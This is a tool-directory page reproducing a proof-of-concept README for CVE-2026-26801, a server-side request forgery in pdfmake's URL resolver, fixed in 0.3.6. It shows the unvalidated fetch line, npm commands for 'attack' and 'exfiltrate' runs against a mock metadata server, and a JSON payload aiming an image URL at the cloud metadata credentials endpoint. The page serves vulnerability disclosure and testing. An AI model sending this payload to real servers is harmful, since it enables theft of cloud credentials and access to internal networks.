Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-26801-pdfmake-ssrf — PoC for CVE-2026-26801: SSRF in pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5) | Kitploit
Tools/GitHubGitHub/mariopepe/cve-2026-26801-pdfmake-ssrf
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubmariopepe/cve-2026-26801-pdfmake-ssrf

CVE-2026-26801-pdfmake-ssrf

PoC for CVE-2026-26801: SSRF in pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5)

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

pdfmake SSRF Vulnerability PoC

Vulnerability Summary

FieldValue
Packagepdfmake
Version>= 0.3.0-beta.2, <= 0.3.5
Fixed0.3.6
CVECVE-2026-26801
TypeServer-Side Request Forgery (SSRF)
Locationsrc/URLResolver.js
SeverityHIGH

Root Cause

root@kitploit:~
// URLResolver.js line 3
const response = await fetch(url, { headers });  // NO VALIDATION!

When docDefinition contains URLs in images, attachments, or files, pdfmake fetches them without any validation:

  • No allowlist/blocklist for domains
  • No protection against internal IPs (127.0.0.1, 169.254.169.254, 10.x.x.x)
  • Custom headers supported (enables auth bypass)

Reproduction

Setup

root@kitploit:~
npm install

Terminal 1 - Mock AWS Metadata Server

root@kitploit:~
npm run metadata

Terminal 2 - Vulnerable PDF Server

root@kitploit:~
npm run server

Terminal 3 - Execute Attack

Blind SSRF (proves the server makes outbound requests):

root@kitploit:~
npm run attack

Full read SSRF (credentials embedded in the generated PDF):

root@kitploit:~
npm run exfiltrate

Expected Results

Blind SSRF (npm run attack)

Metadata Server Output:

root@kitploit:~
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<

This proves the vulnerable server made an outbound request to our controlled endpoint.

Full Read SSRF (npm run exfiltrate)

The attack script generates exfiltrated.pdf. Open it in any PDF viewer and the AWS credentials JSON is embedded as a file attachment (metadata.json). This proves full data exfiltration, not just blind SSRF. The attacker gets the actual response body back inside the PDF.

Real-World Impact

  1. AWS/GCP/Azure Credential Theft - Access cloud metadata endpoints
  2. Internal Network Access - Reach internal services
  3. Port Scanning - Enumerate internal infrastructure
  4. Auth Bypass - Custom headers to bypass authentication

Attack Payload

root@kitploit:~
{
  "content": ["Hello"],
  "images": {
    "x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }
}

Writeup

Full technical writeup with the story of how this was found, the attack chain, and the disclosure timeline: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf

Download Tool